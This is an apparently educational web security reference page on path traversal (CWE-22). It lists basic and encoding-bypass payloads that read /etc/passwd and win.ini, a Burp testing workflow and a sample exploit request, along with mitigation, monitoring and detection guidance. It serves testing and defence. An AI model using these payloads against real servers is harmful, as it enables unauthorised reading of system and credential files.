Home / Web Security / Path Traversal
High Severity | OWASP A01:2021

🟠 Path Traversal (Directory Traversal)

CWECWE-22: Path Traversal
OWASPA01:2021 Broken Access Control
CVSS 3.17.5 (High)
CAPECCAPEC-126, 197
Attack VectorNetwork
Privilege RequiredNone

🧠 Description

What is Path Traversal?

Path Traversal (also known as Directory Traversal) allows attackers to access files outside the web root folder by using "../" sequences. This can expose sensitive files on the server.

Path Traversal allows attackers to:
  • Read sensitive system files
  • Access configuration files
  • Read source code
  • Access password hashes
  • Read log files

🏷️ Classification

  • Type: Path Traversal (CWE-22)
  • OWASP: A01:2021 - Broken Access Control
  • Variants: Local File Inclusion, Remote File Inclusion

🎯 Attack Surface

  • ✅ File download features
  • ✅ Image viewers
  • ✅ Document viewers
  • ✅ Load balancing features
  • ✅ Template systems

⚠️ Preconditions

  • Application uses file paths in parameters
  • No proper validation of path input
  • File access not restricted to web root

🔍 Detection

Test Payloads:

  • ../etc/passwd
  • ..%2F..%2F..%2Fetc%2Fpasswd
  • ....//....//....//etc/passwd

🔧 Burp Workflow

  1. Identify file path parameters
  2. Inject ../ sequences
  3. Test for file access
  4. Escalate to sensitive files

⚙️ Tool Automation

DotDotPwn

Path traversal fuzzer

Burp

Intruder with payloads

💣 Basic Payloads

../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
..\..\..\Windows\win.ini
%2e%2e/etc/passwd

🚀 Advanced Payloads

Encoding Bypass
..%252f..%252f..%252fetc/passwd
..%c0%af..%c0%af..%c0%afetc/passwd
..%c0%2f..%c0%2f..%c0%2fetc/passwd

📝 Proof of Concept

# Request
GET /download?file=../../etc/passwd HTTP/1.1
Host: target.com

# Response - shows passwd file content!

💥 Impact

Severity: HIGH (CVSS 7.5)
  • Read sensitive files
  • Source code disclosure
  • Configuration exposure

🛡️ Mitigation

✅ Validate Paths: Ensure path is within allowed directory

✅ Use Index: Use file IDs instead of paths

✅ Chroot: Jail file access to web root

🏰 Advanced Mitigation

  • Implement allowlist of permitted files
  • Use realpath() to canonicalize paths
  • Restrict file access to web root

📊 Monitoring

  • Alert on ../ in parameters
  • Monitor for sensitive file access

🔐 Security Controls

ControlImplementation
Path ValidationCheck path is within allowed directory
File IDsUse IDs instead of paths

🛠️ Tools

DotDotPwn

Fuzzer

Burp

Intruder

📚 References

🔄 Retest

StepAction
1Add path validation
2Re-test with ../

⚙️ Detection

Static: Find file operations without validation. Dynamic: Fuzz with ../

🔎 Threat-Hunting

IOCs: ../ sequences in logs, sensitive file access.

🛡️ Defensive

WAF with path traversal rules.

Back to Web Security